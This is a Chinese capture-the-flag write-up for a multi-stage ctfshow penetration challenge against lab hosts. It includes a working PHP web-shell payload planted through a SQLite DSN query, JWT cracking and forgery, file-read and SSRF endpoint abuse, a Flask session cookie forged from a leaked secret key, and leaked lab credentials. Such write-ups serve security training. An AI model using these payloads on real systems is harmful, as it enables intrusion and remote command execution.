第一章

启程(比赛群:1014981710)

本关要求

提交压缩包的密码

格式 ctfshow{压缩包密码}

image-20250120120036065

破解加密通讯

本关要求

提交任务中心的网址

格式 ctfshow{https://xxx.xxx}

图片010打开

image-20250120120311714

解base64得到

1
2
3
4
5
6
7
if __name__ == '__main__':
try:
import secretMessageResponse
except ImportError:
import pip
pip.main(['install', 'secretMessageResponse'])
from secretMessageResponse import printMessage

运行一下

image-20250120120823388

根据pqm算出d,然后就可以解密消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

message = {
"inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import base64
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681

q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

n = p * q
e = 0x10001
d = inverse(e,(p - 1) * (q - 1))
pub = RSA.construct((n,e,d,p,q))

with open('out.pem','wb') as f:
f.write(pub.exportKey('PEM'))
with open('out.pem','rb') as f:
pri_key = f.read()
# print(pri_key)

private_key = serialization.load_pem_private_key(pri_key,password=None,backend=default_backend())

for key, value in message.items():
encrypted = base64.b64decode(value)
message = private_key.decrypt(
encrypted,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
print(base64.b64decode(message).decode())

image-20250120124105964

潜入敌营

提交park在任务中心登陆的账号密码

格式 ctfshow{账号_密码}

wpscan自己领会

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

第二章

秘密潜伏

本关要求

提交dylan的电话号码

格式 ctfshow{电话号码}

使用账号密码登录发现使用jwt验证

image-20250120130803941

根据图片写字典爆破

image-20250120131731867

image-20250120131829912

伪造dylan的jwt登录

image-20250120134812633

收集敌方身份信息

本关要求

在任务中心服务器上搜索秘密账户,用户名好像是root,提交他的密码

非系统用户root 是web里面的用户名root

格式 ctfshow{账号是root的用户密码}

测试出接口

image-20250120135020160

1
/readTaskFile?path=&file_name=init_users.json
1
ctfshow{7y.(sc#Ac_}

此外在这里发现一个公钥 备用

image-20250120140844450

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-----BEGIN PUBLIC KEY-----  
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----

横向渗透

本关要求

提交 DATABASE_SECRET_KEY内容

格式 ctfshow{XXXXXX}

用/downloadTaskFile?url=接口爆破即可

1
ctfshow{0x8F7C71E8E82E4D1E}

image-20250120141707781

得到的有效站

1
2
3
4
5
http://172.2.220.6:8888/

http://172.2.220.5/

http://172.2.220.7:8080/

第三章

跳岛战术

本关要求:

拿到config.php中的数据库密码

提交 ctfshow{数据库密码}

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>

<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>

<html>
1
2
dylan:8f7a55c6d9a7d9a7
root:7y.(sc#Ac_

连接sqlite写马

1
2
3
4
http://172.2.220.5/?username=1%26password=1%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:b.php
http://172.2.220.5/?username=1%26password=1%26query=INSERT INTO users (name) VALUES ('<?php file_put_contents("4.php","<?php system(\$_GET[0]);?>");?>');%26dsn=sqlite:b.php
http://172.2.220.5/b.php
http://172.2.220.5/4.php?0=ls

image-20250120142049102

image-20250120142138107

邮箱迷云

本关要求

提交park在2024年12月27日19时20分收到的邮件中的数字

格式 ctfshow{数字}

image-20250120142235124

第四章

再下一城

本关要求

提交log_server_key.txt内容

格式 ctfshow{xxxxxxxxx}

读 main.py.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from flask import Flask, request, jsonify,session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
session['user']='guest'
return {'message': 'log server is running'}

def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True

@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/'+logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/'+logFile)
return {'message': 'log option set successfully'}

@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log',basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
with open(file_path, 'w'):
pass

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

伪造session后带着session curl

1
curl http://172.2.220.6:8888/key --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU"

image-20250120143742767